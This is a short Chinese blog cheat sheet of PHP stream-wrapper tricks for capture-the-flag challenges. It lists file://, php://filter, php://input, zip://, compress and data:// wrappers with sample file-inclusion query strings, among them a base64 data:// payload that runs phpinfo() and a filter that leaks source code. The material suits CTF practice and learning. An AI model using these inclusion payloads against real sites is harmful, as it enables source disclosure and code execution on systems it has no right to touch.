CTF 中常用的 PHP 技巧
-
伪协议
协议 测试PHP版本 allow_url_open allow_url_include 用法 file:// >=5.2 / / ?file=file://D:/soft/phpStudy/WWW/phpcode.txt php://filter ?file=php://filter/read=convert.base64-encode/resource=./index.php php://input on ?file=php://input [POST DATA] zip:// / ?file=zip://D:/soft/phpStudy/WWW/file. zip%23phpcode.txt compress.bzip2:// ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2 compress.zlib:// ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz data:// on ?file=data://text/plain, 【OR】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=【OR】?file=data:text/plain, 【OR】file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
博客内容遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议本文永久链接是：https://shushuwoa.com/2021/02/02/CTF-%E4%B8%AD%E5%B8%B8%E7%94%A8%E7%9A%84-PHP-%E6%8A%80%E5%B7%A7/
